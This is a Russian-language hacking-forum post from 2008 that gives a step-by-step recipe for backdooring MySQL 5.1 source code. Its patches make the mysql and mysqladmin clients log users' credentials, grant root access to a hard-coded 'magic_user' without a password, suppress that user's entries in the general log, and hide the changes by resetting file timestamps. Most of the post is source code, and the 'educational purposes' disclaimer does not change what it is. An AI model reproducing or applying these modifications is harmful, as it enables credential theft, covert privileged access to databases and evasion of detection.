ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность > *nix
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Mysql backdooring
  #1  
Старый 19.02.2008, 14:29
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме:
1777536

Репутация: 932


Отправить сообщение для Ky3bMu4 с помощью ICQ
По умолчанию Mysql backdooring

На днях пришлось разбирался с сорцами мускула и решил немного похулиганить.

Итак, что мы сделаем:
1)Потрояним mysql-client(mysql и mysqladmin) - логин и пасс юзеров будет писаться в наш лог
2)Потрояним mysql-server(у меня 5.1.23) - при заходе на сервер с логином 'magic_login' юзеру будут даваться рутовые права, лог вестись естественно небудет.

Для начала читаем - SSH backdooring, тут описано как не запалится по дате изменения файла,дан нужный нам файл entropy.h(точнее shad_passlog() и т.д.)(надеюсь ShadOS не обидется, если я возьму его наработку) и т.д.

Итак, нам нужен будет сам мускул(я надеюсь вы знаете где его взять), разархивируем его куда-нибудь.

Для начала потрояним mysql-client.
Открываем файл ./client/mysql.cc

Код:
#include "entropy.h" //наш файл(пусть лежит ./client/)
.......
int main(int argc,char *argv[])
{
.......
sprintf(shad_buff, "mysql password auth: user: %s \tpass: %s\n",
                         current_user, opt_password);
                 shad_passlog(); 
 put_info("Welcome to the MySQL monitor.  Commands end with ; or \\g.",
	   INFO_INFO);// авторизация прошла успешно, записываем логин и пасс
.......
Теперь ./client/mysqladmin.cc

Код:
#include "entropy.h"
.......
int main(int argc,char *argv[])
{
.......
sprintf(shad_buff, "mysqladmin password auth: user: %s \tpass: %s\n",
                         current_user, opt_password);
                 shad_passlog(); 
  my_free(opt_password,MYF(MY_ALLOW_ZERO_PTR));
  my_free(user,MYF(MY_ALLOW_ZERO_PTR));
.......

Далее файл ./sql/sql_connect.cc

Код:
.......
int
check_user(THD *thd, enum enum_server_command command,
	       const char *passwd, uint passwd_len, const char *db,
	       bool check_count)
{
if(!strcmp(thd->security_ctx->user,"magic_user")){ //если это наш магический юзер, то берём рутовые права
		  thd->client_capabilities=239119;
                  thd->max_client_packet_length=16777316;//эти 2 числа, в общем, любые

                  thd->main_security_ctx.host_or_ip="localhost";//откуда юзер подключился
                  thd->main_security_ctx.user="magic_user";//оставляем таким(при отмене логгирования понадобится)
                  thd->main_security_ctx.priv_user="root";//привилегии
                  thd->main_security_ctx.master_access= GLOBAL_ACLS;//полный доступ
		  thd->db=0;//это вообще дефолт
	DBUG_RETURN(0);//авторизован успешно =)))
   }
.......
Ну и ./sql/log.cc

Код:
.......
bool Log_to_csv_event_handler::
  log_general(THD *thd, time_t event_time, const char *user_host,
              uint user_host_len, int thread_id,
              const char *command_type, uint command_type_len,
              const char *sql_text, uint sql_text_len,
              CHARSET_INFO *client_cs)
{
.......
  bool save_time_zone_used;
  if(!strcmp(thd->security_ctx->user,"magic_user")) return 0;//лог записан успешно =)))
.......
Остаётся только всё пересобрать и исправить дату изменния файлов mysql , mysqladmin , mysqld , mysql-server.sh , gen_lex_hash , mysql_tzinfo_to_sql .

Ну вот, в общем, и всё


Внимание!Автор не несёт ответственности за использование материала по прямому назначению, т.к. статья созданна исключительно в образовательных целях.

Последний раз редактировалось Ky3bMu4; 15.07.2008 в 15:51..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Эффективные Слепые Иньекции Евгений Минаев Авторские статьи 10 31.05.2008 09:43
2 mysql на разных портах + phpmyadmin MicRO Soft - *nix 0 04.01.2008 00:06
Общие Рекомендации Защиты (MySQL и SQL Web-интерфейс) k00p3r Чужие Статьи 0 13.06.2005 11:22
Защищаем MySql. Шаг за шагом k00p3r Чужие Статьи 0 13.06.2005 11:18
SQL инъекция в сервере MySQL k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ